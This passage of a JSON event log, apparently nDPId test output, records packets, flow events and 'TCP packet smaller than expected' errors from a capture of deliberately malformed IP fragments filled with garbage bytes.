-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388448} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388463} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":7180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388476} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388489} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388502} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388515} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388527} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388542} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388555} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388568} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388580} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388594} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388607} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388626} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":7192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388639} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388651} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388664} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388679} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388691} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031388704} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244031388716} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":7199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkZERVcjQCQl"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":24,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244031688865,"flow_src_last_pkt_time":1534244031688865,"flow_dst_last_pkt_time":1534244031688865,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244031688865,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":24136,"dst_port":16967,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_src_last_pkt_time":1534244031688865,"flow_dst_last_pkt_time":1534244031688865,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODLvxgAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688906} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688920} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688933} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688945} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688956} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031688985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689000} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689015} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689030} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689044} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689058} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689072} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689100} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689139} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":7215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689152} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689165} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689176} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689247} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031689273} 